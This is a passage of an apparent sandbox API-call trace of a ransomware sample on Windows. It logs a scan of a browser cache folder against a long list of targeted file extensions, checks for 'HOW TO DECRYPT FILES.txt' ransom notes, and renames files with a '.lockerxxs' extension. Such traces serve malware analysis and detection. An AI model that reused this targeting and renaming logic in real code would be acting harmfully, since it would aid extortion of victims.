HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0083.976] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0083.976] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0083.976] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="adsWrapperMSNI[1].js" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js" [0083.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.ems") returned 0 [0083.976] lstrlenA (lpString="*.ems") returned 5 [0083.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.db") returned 0 [0083.976] lstrlenA (lpString="*.db") returned 4 [0083.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.dbf") returned 0 [0083.976] lstrlenA (lpString="*.dbf") returned 5 [0083.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.myox") returned 0 [0083.976] lstrlenA (lpString="*.myox") returned 6 [0083.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.myo") returned 0 [0083.977] lstrlenA (lpString="*.myo") returned 5 [0083.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.qbw") returned 0 [0083.977] lstrlenA (lpString="*.qbw") returned 5 [0083.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.qbb") returned 0 [0083.977] lstrlenA (lpString="*.qbb") returned 5 [0083.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.qbm") returned 0 [0083.977] lstrlenA (lpString="*.qbm") returned 5 [0083.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.qbo") returned 0 [0083.977] lstrlenA (lpString="*.qbo") returned 5 [0083.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.qbx") returned 0 [0083.977] lstrlenA (lpString="*.qbx") returned 5 [0083.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.qba") returned 0 [0083.977] lstrlenA (lpString="*.qba") returned 5 [0083.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.qby") returned 0 [0083.977] lstrlenA (lpString="*.qby") returned 5 [0083.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.qbj") returned 0 [0083.977] lstrlenA (lpString="*.qbj") returned 5 [0083.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.ofx") returned 0 [0083.977] lstrlenA (lpString="*.ofx") returned 5 [0083.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.qif") returned 0 [0083.977] lstrlenA (lpString="*.qif") returned 5 [0083.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.mye") returned 0 [0083.978] lstrlenA (lpString="*.mye") returned 5 [0083.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.mbox") returned 0 [0083.978] lstrlenA (lpString="*.mbox") returned 6 [0083.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.eml") returned 0 [0083.978] lstrlenA (lpString="*.eml") returned 5 [0083.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.pst") returned 0 [0083.978] lstrlenA (lpString="*.pst") returned 5 [0083.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.ost") returned 0 [0083.978] lstrlenA (lpString="*.ost") returned 5 [0083.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.idx") returned 0 [0083.978] lstrlenA (lpString="*.idx") returned 5 [0083.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.dbx") returned 0 [0083.978] lstrlenA (lpString="*.dbx") returned 5 [0083.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.sql") returned 0 [0083.978] lstrlenA (lpString="*.sql") returned 5 [0083.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.mdb") returned 0 [0083.978] lstrlenA (lpString="*.mdb") returned 5 [0083.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.fdb") returned 0 [0083.978] lstrlenA (lpString="*.fdb") returned 5 [0083.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.wab") returned 0 [0083.979] lstrlenA (lpString="*.wab") returned 5 [0083.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.dat") returned 0 [0083.979] lstrlenA (lpString="*.dat") returned 5 [0083.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.txt") returned 0 [0083.979] lstrlenA (lpString="*.txt") returned 5 [0083.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.jpeg") returned 0 [0083.979] lstrlenA (lpString="*.jpeg") returned 6 [0083.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.jpg") returned 0 [0083.979] lstrlenA (lpString="*.jpg") returned 5 [0083.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.png") returned 0 [0083.979] lstrlenA (lpString="*.png") returned 5 [0083.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.php") returned 0 [0083.979] lstrlenA (lpString="*.php") returned 5 [0083.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.cs") returned 0 [0083.979] lstrlenA (lpString="*.cs") returned 4 [0083.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.cpp") returned 0 [0083.979] lstrlenA (lpString="*.cpp") returned 5 [0083.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.rar") returned 0 [0083.979] lstrlenA (lpString="*.rar") returned 5 [0083.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.zip") returned 0 [0083.979] lstrlenA (lpString="*.zip") returned 5 [0083.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.html") returned 0 [0083.979] lstrlenA (lpString="*.html") returned 6 [0083.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.htm") returned 0 [0083.979] lstrlenA (lpString="*.htm") returned 5 [0083.980] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.xlsx") returned 0 [0083.980] lstrlenA (lpString="*.xlsx") returned 6 [0083.980] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.xls") returned 0 [0083.980] lstrlenA (lpString="*.xls") returned 5 [0083.980] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.mp4") returned 0 [0083.980] lstrlenA (lpString="*.mp4") returned 5 [0083.980] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.ppt") returned 0 [0083.980] lstrlenA (lpString="*.ppt") returned 5 [0083.980] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.pptx") returned 0 [0083.980] lstrlenA (lpString="*.pptx") returned 6 [0083.980] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.doc") returned 0 [0083.980] lstrlenA (lpString="*.doc") returned 5 [0083.980] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.dot") returned 0 [0083.980] lstrlenA (lpString="*.dot") returned 5 [0083.980] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.docx") returned 0 [0083.980] lstrlenA (lpString="*.docx") returned 6 [0083.980] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.7z") returned 0 [0083.980] lstrlenA (lpString="*.7z") returned 4 [0083.980] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.tar") returned 0 [0083.980] lstrlenA (lpString="*.tar") returned 5 [0083.980] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.bz2") returned 0 [0083.980] lstrlenA (lpString="*.bz2") returned 5 [0083.980] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.gz") returned 0 [0083.981] lstrlenA (lpString="*.gz") returned 4 [0083.981] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.mkv") returned 0 [0083.981] lstrlenA (lpString="*.mkv") returned 5 [0083.981] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.eml") returned 0 [0083.981] lstrlenA (lpString="*.eml") returned 5 [0083.981] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.msg") returned 0 [0083.981] lstrlenA (lpString="*.msg") returned 5 [0083.981] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.edb") returned 0 [0083.981] lstrlenA (lpString="*.edb") returned 5 [0083.981] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.accdb") returned 0 [0083.981] lstrlenA (lpString="*.accdb") returned 7 [0083.981] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.odb") returned 0 [0083.981] lstrlenA (lpString="*.odb") returned 5 [0083.981] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.java") returned 0 [0083.981] lstrlenA (lpString="*.java") returned 6 [0083.981] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.asm") returned 0 [0083.981] lstrlenA (lpString="*.asm") returned 5 [0083.981] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.pfx") returned 0 [0083.981] lstrlenA (lpString="*.pfx") returned 5 [0083.981] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.pem") returned 0 [0083.982] lstrlenA (lpString="*.pem") returned 5 [0083.982] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.p12") returned 0 [0083.982] lstrlenA (lpString="*.p12") returned 5 [0083.982] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.gpg") returned 0 [0083.982] lstrlenA (lpString="*.gpg") returned 5 [0083.982] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js", pszSpec="*.vsd") returned 0 [0083.982] lstrlenA (lpString="*.vsd") returned 5 [0083.982] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe967230, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe967230, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8217, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg", cAlternateFileName="AE8E98~1.JPG")) returned 1 [0083.982] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.982] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg") returned 1 [0083.982] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg") returned 1 [0083.982] lstrcmpiA (lpString1="", lpString2="ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg") returned -1 [0083.982] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js") returned="adsWrapperMSNI[1].js" [0083.982] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0083.982] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0083.982] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0083.983] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0083.983] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg" [0083.983] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg" [0083.983] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg" [0083.983] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg." [0083.983] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg.lockerxxs" 